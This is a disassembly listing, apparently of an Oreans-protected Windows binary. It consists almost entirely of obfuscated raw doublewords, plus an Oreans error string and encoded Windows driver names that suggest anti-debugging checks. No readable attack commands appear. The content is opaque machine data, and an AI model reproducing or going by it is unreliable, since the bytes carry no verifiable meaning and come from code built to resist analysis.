		dd 0C375E24Dh, 79893CCFh, 0A07105DDh, 97661457h, 52113523h
		dd 446C5A78h, 0FE403E0Eh, 268FFFFh, 12A72FEEh, 0C9602D4Bh
		dd 557556F9h, 0D12C321Ah, 94BB137Ch, 0B4828CB4h, 0E10EE56Bh
		dd 0F3CFEF3Ch, 3E01499Ah, 0E3EBCAF0h, 364F033Bh, 0CF541586h
		dd 0BB87B7E0h, 0C2B61352h, 0C1C69FFCh, 67D7AAF0h, 0E2C69FFCh
		dd 48B78BABh, 9E22785Eh, 0ED61CDCDh, 0C06F983Eh, 838EE1D5h
		dd 270667BBh, 0EF6CE070h, 41EC61h, 0D8E60000h, 0C375E25Ch
		dd 0A58581AEh, 1E7C424Ah, 8781ECCFh, 52672FA7h,	0C375E2EEh
		dd 0A172527Bh, 2F785E4Eh, 0F35C00CCh, 452B8EC7h, 5EC375E2h
		dd 0F6DE3C0Dh, 75E25D23h, 340556C3h, 0CCF6F9h, 35200000h
		dd 0DC1F3F6Ah, 4A4BA1h,	5D0E0CB5h, 16B889C9h, 0E4C4C16Eh
		dd 4161AA89h, 4B6BA08Fh, 0F1945877h, 695FCD9h, 9DEECC87h
		dd 1216A35h, 38E0A822h,	0A4942B9Dh, 0B595B6C8h,	77549BE4h
		dd 0C3220B57h, 0B19FBFECh, 0BD81A1EAh, 0D4C26D15h, 94BF01E6h
		dd 62B4C8A4h, 117C23BFh, 93D22380h, 516400ECh, 0C8A437EFh
		dd 0DF045E6Dh, 50213E0Dh, 37A23F07h, 2B8C833Bh,	70C8F0DAh
		dd 2C91843Eh, 0D4B5F0BEh, 0C2B1E199h, 66C981D2h, 63C80026h
		dd 96980529h, 5E7609B4h, 77CD982h, 919F0000h, 8E9CABA5h
		dd 0AE9BA0A8h, 0B295A2AEh, 0A991BE92h, 5F16BF91h, 113F1F0Bh
		dd 113F1F0Ah, 2F21010Ah, 2A260800h, 6EACF87h, 1DC69F80h
		dd 7A52B8EEh
		dd 0EF390654h, 8BD4F4D1h, 0FBB313B7h, 1F0326A2h, 0A5858132h
		dd 0C4277059h, 7557F595h, 78E8FF51h, 5467D8D7h,	2Eh, 2FEE021Eh
		dd 0ACB298A7h, 0BB00551h, 88C95D11h, 269E63BFh,	50C692CCh
		dd 0B9A088A0h, 0B59E0927h, 79636776h, 61F28DE7h, 41E5h
		dd 0EE02E100h, 0DD12A72Fh, 9AC95CE8h, 7507457h,	0FADCCC3Bh
		dd 795D4FD0h, 210E363Ah, 97F6C4E4h, 0F2F7954h, 0AB589433h
		dd 59714262h, 64CCE991h, 0E1C692E4h, 0E03182BAh, 8932485h
		dd 0CF18CCBAh, 6A354101h, 0F6C11D3Dh, 58A2F3CBh, 0DF644FFFh
		dd 0BD6645FAh, 4C519FF0h, 0C4CD521Ah, 63D0B9F4h, 0A9C95C3Ah
		dd 2F6C49E1h, 1BDD13E9h, 9233EA5Eh, 0D4E1E9C6h,	0C692336Ch
		dd 0E6C51667h, 3485C415h, 860BFCE9h, 0F5DDC02Ch, 2F27F20h
		dd 4752740Fh, 0F30CAF1h, 7E50A1F2h, 6ECB3DC6h, 371123C5h
		dd 91E2CB17h, 0A89FAD49h, 91EC4EDAh, 25DA16B1h,	0A881DDFDh
		dd 19654541h, 0CAEFE730h, 5181E73h, 88973F08h, 1C14BE80h
		dd 0DAA6E305h, 0ABA984C3h, 0F5AA8C9Ch, 367A633Dh, 174C0F2Bh
		dd 60000006h, 61CE0234h, 7CCB0525h, 7EC50B33h, 7AC10F2Fh
		dd 0F3C20E4Ch, 94A2ECC4h, 94A0EFB4h, 9EBEEFB4h,	83A3E5B2h
		dd 4F6A7C4Dh, 0C69F86F9h, 52DF8BFAh, 5E06547Ah,	379600E6h
		dd 116C0650h, 0BC5F522h, 359D806Ch, 6047F9E0h, 7E5B03C9h
		dd 0C69F578Ah, 887DB889h, 2B1463BFh, 61C06E13h,	90A86A38h
		dd 5B1CBh, 0F8DECA00h, 0E3C3CB50h, 0E1D9C66Dh, 0E5C9C06Fh
		dd 0E4D2DC6Bh, 762A5964h, 71DE7248h, 71DE724Ah,	4FD47454h
		dd 0D2D7795Dh, 865325F0h, 2550C69Fh, 2FEE0275h,	2D4312A7h
		dd 3F08C960h, 93AB94E3h, 37F74AEEh, 0A13A166Ah,	566h, 9DB38BB1h
		dd 9AB694B6h, 94B4848Dh, 90B89C8Fh, 91BF9F8Bh, 0F53D750Ch
		dd 0F13C0BC5h, 0EF3C0BC5h, 123A01CFh, 25AD1CCCh, 9F862890h
		dd 8EF82BC6h, 0A72FEE02h, 602D4712h, 63AAF5C9h,	42577F43h
		dd 0C69FA8FEh, 185BA4F5h, 3B045AABh, 0F751CE0Eh, 0B96A37F6h
		dd 50C3AA1h, 216F0000h,	3E6C3B15h, 3E6B3018h, 2265321Eh
		dd 3961CE02h, 0CFE6CF01h, 0A1AFAF9Bh, 0A1AFAF9Ah, 0BF91B19Ah
		dd 0BA96B890h, 0F67A5F77h, 8DC69F87h, 7A52289Eh, 1061414Ah
		dd 8BABFDCAh, 1B726BC3h, 199B44B3h, 99E166CDh, 362684Ah
		dd 7119703Fh, 7BD5F9D3h, 84DAFC2Ch, 75614C31h, 2BD39BC3h
		dd 75613A8Eh, 8DE839C3h, 430BBCDAh, 75618276h, 1EB081C3h
		dd 756135BBh, 0BEFDCEC3h, 0FB557953h, 0A52DF0FCh, 60A97910h
		dd 0A1297AC9h, 586956F9h, 0A38011Bh, 1053BC5Dh,	5CBEB3Dh
		dd 0F2C8EE3Eh, 5C7617D5h, 8AE0D179h, 755DAECCh,	6698473Dh
		dd 3372BFCCh, 92B494BBh, 97B791BEh, 0DDC02C4Bh,	80BB20F5h
		dd 0EF38C289h, 0A482232h, 6972CE76h, 43Ah, 0E967575Dh
		dd 0E66A4842h, 0E0685059h, 0FC6C705Bh, 0FD536B57h, 0C1C9A1D0h
		dd 0DDC857F9h, 0C3C857F9h, 0C6C66DE3h, 95968E0h, 9F84C4ACh
		dd 0FAACDFC6h, 5D4A7A52h, 0FFC8217Dh, 527454A3h, 23EB01FEh
		dd 0DFECEDF1h, 420455EEh, 5CF10A77h, 0E03E0FC9h, 92ECA71Dh
		dd 341A32C6h, 7F0B8EE6h, 7C30EAC8h, 0E836060Dh,	0B67317C4h
		dd 927D9D63h, 744596C6h, 509535D6h, 0B8FBC3CFh,	0F1EB73EDh
		dd 5C5161h, 2150000h, 50AE26EEh, 39F69519h, 7AD3E6E8h
		dd 77C95C30h, 0F8C90D38h, 865DFA2h, 6313C692h, 8AA1EBBh
		dd 0F720C692h, 30D4EC60h, 0BC19B102h, 0C6923334h, 4EADFECFh
		dd 0F64E7B1Fh, 662A4921h, 875969AFh, 0C1F58DD5h, 7D1782E1h
		dd 0BE61F284h, 7BF3CC86h, 387B25D3h, 0C943h, 7A520700h
		dd 0E62D7254h, 59A188D6h, 93D8C07Dh, 47AB9A5h, 0F3CF0F3Bh
		dd 5CA28484h, 0BD153913h, 5C62AAF5h, 75B911E7h,	0E2C112C3h
		dd 0BC244B6Eh, 0E923C375h, 0EC3C0BC5h, 15DBF4CAh, 0CA7B5E70h
		dd 0A7C95CAEh, 72CAFA56h, 6B17C4B8h, 85387BCCh,	892CA667h
		dd 0CCB8C98Eh, 0A8507A4Bh, 56257D90h, 0A19CB9C2h, 0DA764472h
		dd 8875454Dh, 701EA5C2h, 0E7AD2E0Ah, 30000002h,	311E3204h
		dd 0C1B3515h, 0E153B03h, 0A113F1Fh, 83123E1Ch, 4472BCF4h
		dd 4470BF84h, 4E6EBF84h, 0B393B582h, 1FBA2C9Dh,	0C69F85A9h
		dd 350F7BAAh, 0C7C8E67Dh, 90D39B73h, 0D4575BDh,	0E8CBEB22h
		dd 0E9CDDF64h, 0A790BF67h, 64BA8289h, 87E63405h, 0EE0232A4h
		dd 0B912A72Fh, 0B6C95CFEh, 0D0A41965h, 0A6C692FEh, 65FFE5E5h
		dd 6761F272h, 0F1h, 547A5263h, 0B0F13906h, 75E29365h, 4EB319C3h
		dd 0B6482012h, 715594E5h, 0D33C0D51h, 4D6B54FBh, 0C1287646h
		dd 485DAAF0h, 0E5D01F68h, 0C9AC92D1h, 0C375FCA6h, 72556BBDh
		dd 0EC3D0C52h, 0D1F5D77Ch, 537AC58Dh, 0D5C02F73h, 2E5590E1h
		dd 2E8BC3C2h, 0C95CEE65h, 672F2172h, 0B324FACFh, 0BE80DCB4h
		dd 0EB2ACC91h, 7BAF985h, 9DA224E9h, 34BAA8Ah, 0B8150AB6h
		dd 16B889CCh, 953D1D09h, 0A4A4B800h, 0B6ABBC8h,	0C6D39B43h
		dd 0C8A4A472h, 0EEC52071h, 0A39B84A0h, 133D0E5Fh, 7F3C1A04h
		dd 701EF303h, 0CF6675CDh, 28000001h, 2976DAFCh,	2473DDFDh
		dd 260DC3FBh, 2209C7E7h, 0BB0AC6F4h, 6C6A540Ch,	6C6857FCh
		dd 567657FCh, 5B7BADFAh, 79234F5h, 0C69F8AB1h, 521743B2h
		dd 0D37C5664h, 0A28BD7E7h, 3B7A424Fh, 183E6E35h, 9FBFE9B6h
		dd 0C50B6A43h, 0CC7D3505h, 11AB616Fh, 2B7D5093h, 0D02E2E15h
		dd 252A8F9h, 0F2C4F43Dh, 52D1D9FEh, 0A48BEA91h,	40084264h
		dd 0F74B3D98h, 7F48C375h, 75F736BAh, 8DFCCDC3h,	0F67AB999h
		dd 0B812F3F9h, 5D07681Dh, 3E1C6DC9h, 92A6F97Bh,	0BADC8FC6h
		dd 0ADFE4109h, 9B58B18Dh, 0C692A615h, 0B9EDD2Eh, 61F24699h
		dd 29ABh, 0EE023F00h, 7912A72Fh, 8FC95CEAh, 0CC6F79B7h
		dd 3A796A3Bh, 5F227849h, 0C69278E5h, 0CADEF893h, 61F1F45Ah
		dd 2E6Ah, 6A357C00h, 7ADF1E3Ch,	0C375E2F5h, 0E5EDB03Ch
		dd 5CF82FD0h, 0D8F25DC9h, 993CA4FAh, 0C692F417h, 0B3F2C32Ch
		dd 76D9F1C2h, 0DD2C7248h, 2BE529Eh, 0FFA72FEEh,	0E21EE237h
		dd 0C415C375h, 0E2413782h, 7142C375h, 0EA905532h, 142CC95Ch
		dd 0B4CD7DFAh, 0F045A0D2h, 1EE65BA7h, 68C692C6h, 90B497B8h
		dd 9C840255h, 61F26704h, 29C0h,	0D358200h, 75E2C0A8h, 0BCECC3C3h
		dd 1465449Ah, 0A5CBAAC2h, 3B7A0D4Ah, 7538E65Eh,	0C8CD23C3h
		dd 220A3386h, 0B687C95Ch, 0EE02F69Ah, 0E2FD4356h, 0A5F6C375h
		dd 233A7254h, 99D30841h, 0C5D09AD9h, 0C9607E7Ah, 0E7D02E7Fh
		dd 0E04F81A5h, 0C5B886A8h, 0CCCED129h, 33913950h, 0C1B3519h
		dd 0FCE43A1Ch, 185B7B53h, 8C3B1235h, 9084311Ah,	0FB38FD8h
		dd 8DD1F847h, 99B3FAEh,	0A113F1Fh, 0FDDE3C02h, 0Ah, 1B236E31h
		dd 0D387E6C7h, 66526F23h, 0EB3D0A50h, 8388F7CBh, 25105FA3h
		dd 0B4E2CD11h, 434FB886h, 0F1D8277Bh, 79A691EDh, 18327D41h
		dd 5002E43Ah, 405E089h,	2D000000h, 4, 5C240487h, 50243C89h
		dd 405E089h, 83000000h,	48704E8h, 1C895C24h, 0E1895124h
		dd 4C181h, 0E9810000h, 4, 5C240C87h, 68240C89h,	4474h
		dd 0B9240C89h, 27819EDh, 7231E9BBh, 59CB0103h, 240C8B54h
		dd 8104C483h, 4ECh, 241C8900h, 0FF08418Fh, 83592434h, 1C8B04C4h
		dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 1285E95Ch
		dd 4B3AFFFDh, 6EB8D251h, 305EA6Ah, 0F7E0FFC5h
		dd 0FF2C8DD0h, 0B1468D41h, 9B1CF667h, 0C16AC837h, 0F52940EBh
		dd 0F7143629h, 207A390Fh, 8F36F89Eh, 0FD6F1316h, 2906DB7Bh
		dd 0DD295639h, 266078C9h, 0E95A2596h, 83h, 56525153h, 245C8B57h
		dd 3B81661Ch, 850F5A4Dh, 68h, 3C43B70Fh, 8166D803h, 0F45503Bh
		dd 5785h, 785B8B00h, 1C245C03h,	324738Bh, 561C2474h, 8B207B8Bh
		dd 7C031C73h, 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch
		dd 24540317h, 4C78320h,	0C084028Ah, 33A0874h, 4243E875h
		dd 33AF2EBh, 0D15FE075h, 4B70FE1h, 86048B0Fh, 1C244403h
		dd 595A5E5Fh, 8C25Bh, 0F1E9C033h, 8BFFFFFFh, 0FE8CAh, 0F72C0000h
		dd 4CB0E651h, 39CC9EF9h, 0E6B4FFD4h, 890F607Dh,	18h, 13E9h
		dd 2DDFD700h, 0CC569D88h, 4FD66171h, 0F266C13Ah, 99FDBF7Bh
		dd 840Fh, 58610000h, 81D2B70Fh,	6F65C0h, 14E900h, 99830000h
		dd 7563F7FEh, 5B94CF0h,	42612573h, 5E48E020h, 0A2BEE016h
		dd 0F900001Bh, 0FE9088Bh, 41000000h, 5A546065h,	9AB0842Bh
		dd 0A480A937h, 0C181513Bh, 4552C431h, 0FDD1F181h, 0EE935AEh
		dd 79000000h, 699DED40h, 5A250255h, 0F819C7F2h,	0AE981D5h
		dd 0E974A806h, 11h, 9B350F7Fh, 0B004CD05h, 60EA781Ah, 0B975A2E3h
		dd 0B30889BCh, 4E88330h, 83FE8B66h, 850F01EEh, 0Dh, 19E9F8h
		dd 589B0000h, 2698E179h, 65BB660Ch, 0FF86E9E3h,	0B248FFFFh
		dd 0C400B2B5h, 0E821190Eh, 6, 9E48A038h, 8D0FF68Dh, 3
		dd 59D1BF0Fh, 8F0Fh, 0C1810000h, 6276h,	0F52DB2Bh, 8B5ED2BFh
		dd 860F1904h, 3, 81F38B66h, 10FDD3F0h, 70F0810Ch, 0E93C1AA2h
		dd 6, 1513084Ch, 0E881A28Bh, 6E6B21A8h,	3864A1BEh, 1904896Ah
		dd 0CE9h, 5696D00h, 4F0898A3h, 196F503Ch, 7E8D0h, 0A6300000h
		dd 0E0224D9Ah, 0D281667Ah, 835A73C6h, 666004EBh, 0D98BD38Bh
		dd 64FB8161h, 0FFFFF9Eh, 2285h,	0C8D0F00h, 0F000000h, 68Dh
		dd 890F00h, 0E9000000h,	3Ah, 729561CEh,	59A0AF99h, 0F846494h
		dd 1A87h, 12E800h, 0AF4E0000h, 16577D4Fh, 330446FFh, 0E9900E1Dh
		dd 9C2668DCh, 0E95F41B2h, 0FFFFFF4Fh, 7FE905EFh, 0D36B60E2h
		dd 34EB59D4h, 4D534649h, 20205247h, 20444B56h, 20202020h
		dd 204D4D56h, 20202020h, 4E495756h, 20203233h, 4C445856h
		dd 20205244h, 3	dup(0)
		dd 790E9h, 9BB6000h, 0F1AB421h,	186h, 6061F900h, 0B966F860h
		dd 0C761F96Eh, 0EA6DAF85h, 5, 12E900h, 0F02C0000h, 0F42E14FDh
		dd 0D4FE24FEh, 0ACD3C39Ah, 32FDEE29h, 890FC68Bh, 1, 0D8B70FF9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 14C35545h
		dd 5D23C6A7h, 15614E17h, 10E8C1F5h, 118B0Fh, 0CE90000h
		dd 26000000h, 27D266A1h, 708F7DB7h, 66D8F314h, 6A08C8C1h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 1771C357h, 108C4052h, 0FFC11B4h, 882h, 0BF0F6000h
		dd 67CB80F2h, 128D0F61h, 0E9000000h, 0Dh, 0DE86C0EAh, 295D959Ah
		dd 0D95F817Dh, 0B38589EBh, 6A05EA6Dh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0A09CC356h
		dd 8E9DF08Ch, 0FC50E546h, 8CBC166h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 9FC35242h, 0F28B605Ch, 12E9h
		dd 92743300h, 30BB0EB6h, 8CCCA319h, 997AC67Ch, 61654427h
		dd 0F40FB83h, 4F85h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 48FCF5C4h, 8DFCF6DAh
		dd 0EA6D87BDh, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0AAB2A790h, 89E9F8FBh
		dd 0F8000001h, 0F0DFB83h, 7385h, 16840F00h, 0E9000000h
		dd 11h,	0F216506Dh, 0CE1E094Bh,	598D5399h, 0B619FD3Fh
		dd 8FBD8D3Bh, 6A05EA6Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 7847C353h, 88B0Fh
		dd 8A0F0000h, 2, 2DE96160h, 6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 318C351h
		dd 0F5DEFC03h, 0F01FB83h, 5285h, 0BD8DFC00h, 5EA6D97h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0B9C35747h
		dd 0F80D90D2h, 78C0Fh, 800F0000h, 1, 0CAE9F8h, 0E8600000h
		dd 0Bh,	996E4B99h, 0E40A56B3h, 6601B29Ch, 0BAC2D981h, 8361F858h
		dd 850F2AFBh, 7Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 10C35141h, 191DB4ACh,	10E20F96h, 9FBD8DFCh
		dd 6005EA6Dh, 0CAB70FFCh, 72E961h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0DE90EC3h
		dd 26000000h, 7AA39FDCh, 3E671454h, 0E39B2B8Fh,	12E9h
		dd 0AD3D0C00h, 437CB7A0h, 0CC62B01Ch, 1CBA5A5Dh, 83052199h
		dd 850F27FBh, 312h, 0A7BD8DF8h,	0F05EA6Dh, 1787h, 118E0F00h
		dd 0E9000000h, 0Ch, 1E32498Ch, 3CC5EEA1h, 5A360766h, 6DB7BD89h
		dd 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0B1979FC3h, 0B4C4F623h, 6AC88C66h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 1413C350h, 7B41E8D4h, 9E956524h, 10E9h, 67A72B00h, 0BF39391Bh
		dd 0AFF3F9ABh, 0F7528C9Ah, 6A0324A7h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 2A6C355h
		dd 450A9198h, 0FCC21EEh, 1280h,	0DE900h, 91560000h, 550F9F58h
		dd 18313D48h, 0A722024h, 0B2850FC0h, 6A000001h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0E91FC351h, 0Dh, 100A1A2Ah, 0A9F794A2h, 9C793D40h, 1870F31h
		dd 0FC000000h, 7412B58Dh, 8B0F05EAh, 7,	18B0Fh,	8BFC0000h
		dd 0EA748E85h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0F32BE720h, 8A66B260h
		dd 0F5061F8h, 0D83h, 0ECBA6000h, 0F466DD6h, 80h, 14896100h
		dd 10FF524h, 0FFE244Ch,	0A8Eh, 5E900h, 0B5310000h, 5ACFEFFFh
		dd 11E9h, 7E00AC00h, 473B42CAh,	0F447851Ah, 785F1A21h
		dd 9E9C179h, 0A7000000h, 0C9B3656h, 0EE39D653h,	0F824C283h
		dd 0FC728966h, 5AD48060h, 12E9h, 48A7B600h, 868D2E1Fh
		dd 0D2D3E941h, 0BEA2512h, 61043A38h, 1830Fh, 0C1F50000h
		dd 6A10CEh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 404076C3h, 0C28B60AAh, 72896661h,	57006A02h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 4A1307F9h, 11E9A6B7h, 6F000000h, 0EE074E65h,	0FFD89853h
		dd 3B6FC2E8h, 6B54CF72h, 890F60h, 0B3000000h, 4CD6183h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0C9C35242h
		dd 0C64572A9h, 0FE90751h, 74000000h, 2510238Bh,	36E31460h
		dd 10E141CEh, 8AE9C673h, 0F000000h, 88Fh, 2890F00h, 60000000h
		dd 7E961h, 0AC020000h, 7138684Eh, 8E858B95h, 0F05EA74h
		dd 1287h, 0DE900h, 0E65F0000h, 0BBF8CFE6h, 37BE68Ah, 8D3ADAB4h
		dd 0EA7412B5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 43726728h, 8D2AF47Ah
		dd 0EA480185h, 0EE9FC05h, 28000000h, 0B4CFA02h,	0DB2F31EAh
		dd 0F3F39DBFh, 0F5D0FF09h, 8B666060h, 616160CBh, 64F2BA66h
		dd 0AF858961h, 6005EA6Dh, 0E9D3BF0Fh, 11h, 6B2A6B89h, 48A4AF5Dh
		dd 0A61DDF2h, 3F767AB5h, 6A616130h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 28B0C353h
		dd 858BFC43h, 5EA6DAFh,	6AC3F8h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 135865C3h, 195FC125h
		dd 602C63A0h, 8EBD83FCh, 5EA74h, 57850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0ADCFC1C3h, 0EB309D2Ah, 85C7FC51h, 5EA748Eh,	1013Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0ADC35141h
		dd 0A83A8465h, 6060265Fh, 610FD480h, 0FE961h, 0E9F50000h
		dd 9, 0C26DE6E4h, 0E2B09C02h, 20CD1Bh, 0B000000h, 8D3774C0h
		dd 0BD8B0C70h, 5EA6DB7h, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h
		dd 5EA6DB3h, 7F34583Bh,	6BD38B15h, 0CA0304D2h, 8589018Bh
		dd 5EA6DAFh, 8B04EBh, 8B61C5EBh, 0EA6DAF85h, 6ACF05h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 8EE78DC3h, 36D02488h, 602C792Dh, 666061FCh, 0F489E681h
		dd 8E9h, 61BBE500h, 0C2C81B78h,	6A618Fh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 2E96C6C3h
		dd 8E960h, 2FC50000h, 0D3808E6Fh, 8166851Bh, 617BB4DEh
		dd 7840Fh, 8C0F0000h, 1, 0E9C08BF5h, 400h, 0
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 4
		dd 0E4h	dup(0)
		dd 56h,	45h, 0
		dd 1281E9h, 0BD858900h,	0F805E70Dh, 5F1858Bh, 6A05E7h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0F9B438C3h, 0BEFDC2F6h, 0FE914h, 0EDCE0000h,	0C8DD43CBh
		dd 6DE6E444h, 0B09C02C2h, 244439E2h, 6D850F04h,	0F000000h
		dd 982h, 8D0F6000h, 0
		dd 0BD2961FCh, 5E71619h, 2E41BD83h, 0F0005E7h, 4B84h, 68E0F00h
		dd 29000000h, 0E715B9BDh, 17858D05h, 6A05E739h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0A7BCC350h, 1880Fh, 1F80000h, 0E72359BDh, 0E9E0FF05h
		dd 8, 3496F00h,	79DD7A42h, 13C5858Bh, 6A05E7h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0D99A4AC3h, 5E860h, 30110000h, 8BB1979Fh, 0E701A9B5h
		dd 0FCBA5F05h, 61529F04h, 2F19589h, 443905E7h, 850F0424h
		dd 36h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h
		dd 97C35343h, 0DD06DF2Ah, 0EC19589h, 85C705E7h,	5EA7953h
		dd 1, 1A019589h, 6A6005E7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 13D2C355h, 0E9557767h
		dd 28h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h
		dd 0B5C35242h, 9D2960A8h, 5E72DD9h, 0
		dd 1B8h, 0E3858700h, 0B05EA7Ah,	0FFF675C0h, 0E707F9B5h
		dd 4B858F05h, 6A05EA79h, 0FFFF6A20h, 0E7218595h, 35BD8305h
		dd 5E70Fh, 6A0874h, 1A1D95FFh, 0BD8305E7h, 5E70D4Dh, 680D7401h
		dd 80h,	95FFFF6Ah, 5E72185h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 71C35545h, 0F182738Ch, 60058689h
		dd 7E8h, 0DCEC3F00h, 2984429Dh,	5AFAB70Fh, 61C7B70Fh, 0B8h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0BE2E7E7Ch, 0F8E1D5C7h, 2824548Bh, 6820Fh
		dd 9D010000h, 5E723A9h,	25C58589h, 6A05E7h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 10BEE1C3h
		dd 69219576h, 8957F521h, 0E72B219Dh, 0CE905h, 27290000h
		dd 6416BA94h, 42912EEh,	3CBE4B5Ch, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0D2F8C351h, 0F5FD9D19h, 24247403h, 2E19D89h,	0AD6605E7h
		dd 44036160h, 6A2424h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0EED06CC3h, 64D6F4C6h, 0EE9AEh
		dd 0C8380000h, 76B55ED9h, 0E38AA6A0h, 396A58Ch,	0E820F50h
		dd 50000000h, 0F616052h, 0F525031h, 5A585A31h, 24048958h
		dd 78408BF8h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 14h,	72C35343h, 2DB59D89h, 950105E7h, 5E708C9h, 7953BD83h
		dd 0F0005EAh, 10E85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 5090F852h, 13E952h, 40C0000h
		dd 107D5E91h, 36B090FFh, 9AB237CDh, 0E87A7F31h,	60310F77h
		dd 0FF78B66h, 8Bh, 585A6100h, 5E950h, 64CB0000h, 9099BC4Dh
		dd 0EE9h, 30CA1400h, 0DBE17A7Eh, 0E21A1279h, 8B955FADh
		dd 0E92C2444h, 5, 47C6AE5h, 52509081h, 8BF98B60h, 310F61CFh
		dd 6830Fh, 880F0000h, 0
		dd 0F50585Ah, 1684h, 11E900h, 4EBB0000h, 0B934B9BDh, 0E19036DDh
		dd 0AA3B0711h, 900CBAEAh, 1B69BD89h, 858D05E7h,	5EA48C0h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0EFC35343h
		dd 3BC4F88h, 810F9247h,	0Bh, 0BAEC8060h, 2D05858Bh, 0FF6105E7h
		dd 51006AD0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0B13B44BDh, 3F8D11Fh, 6A282444h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 3198C357h, 0E713019Dh, 18408B05h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 8AC35242h, 0D9CD5B8h, 40A05CEBh
		dd 1F799D09h, 858905E7h, 5EA794Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 6AC35040h, 67D72605h, 108F0Fh
		dd 0BE90000h, 3A000000h, 61E4E552h, 0E4FA6AD3h,	8958CD4Ch
		dd 0E702F19Dh, 78708B05h, 20358589h, 0C68305E7h, 8166601Ch
		dd 0B7C813C9h, 6A9661BDh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 2406C352h, 0F9952C6h
		dd 1184h, 0CE900h, 0EEAA0000h, 374B50F8h, 0C72D6C70h, 7C81CBDAh
		dd 2424h, 870F1000h, 146h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0D7C35343h, 150DEEB9h, 8B605325h, 0E700099Dh
		dd 199D8B05h, 6105E731h, 850F6090h, 0
		dd 8C0F5061h, 0Ch, 6850Fh, 52500000h, 585A310Fh, 7D9D2990h
		dd 0E905E721h, 5, 4665B79Fh, 24448B42h,	50006A28h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 0D98589C4h, 9005E70Ah, 52505250h, 0CE9h, 0EB4C5A00h
		dd 875C60DDh, 7B5F134Ah, 50310FAAh, 5A310F52h, 0F585A58h
		dd 0CE96031h, 0C000000h, 0BD4FEF7Fh, 0EE6784F0h, 0F889AF3h
		dd 81h,	585A6100h, 0E9525050h, 0Eh, 0E25C0D3Fh,	0ADF7E0Fh
		dd 0FCADC123h, 310F58C0h, 11E960h, 5B90000h, 42612573h
		dd 5E48E020h, 0C82EE016h, 66644B7Fh, 5A61D88Bh,	14E99058h
		dd 13000000h, 264B5182h, 0B6FEF64Dh, 0DEEAD682h, 373D1ED6h
		dd 8D307222h, 0EA48C085h, 55006A05h, 3E8h, 0C35D2000h
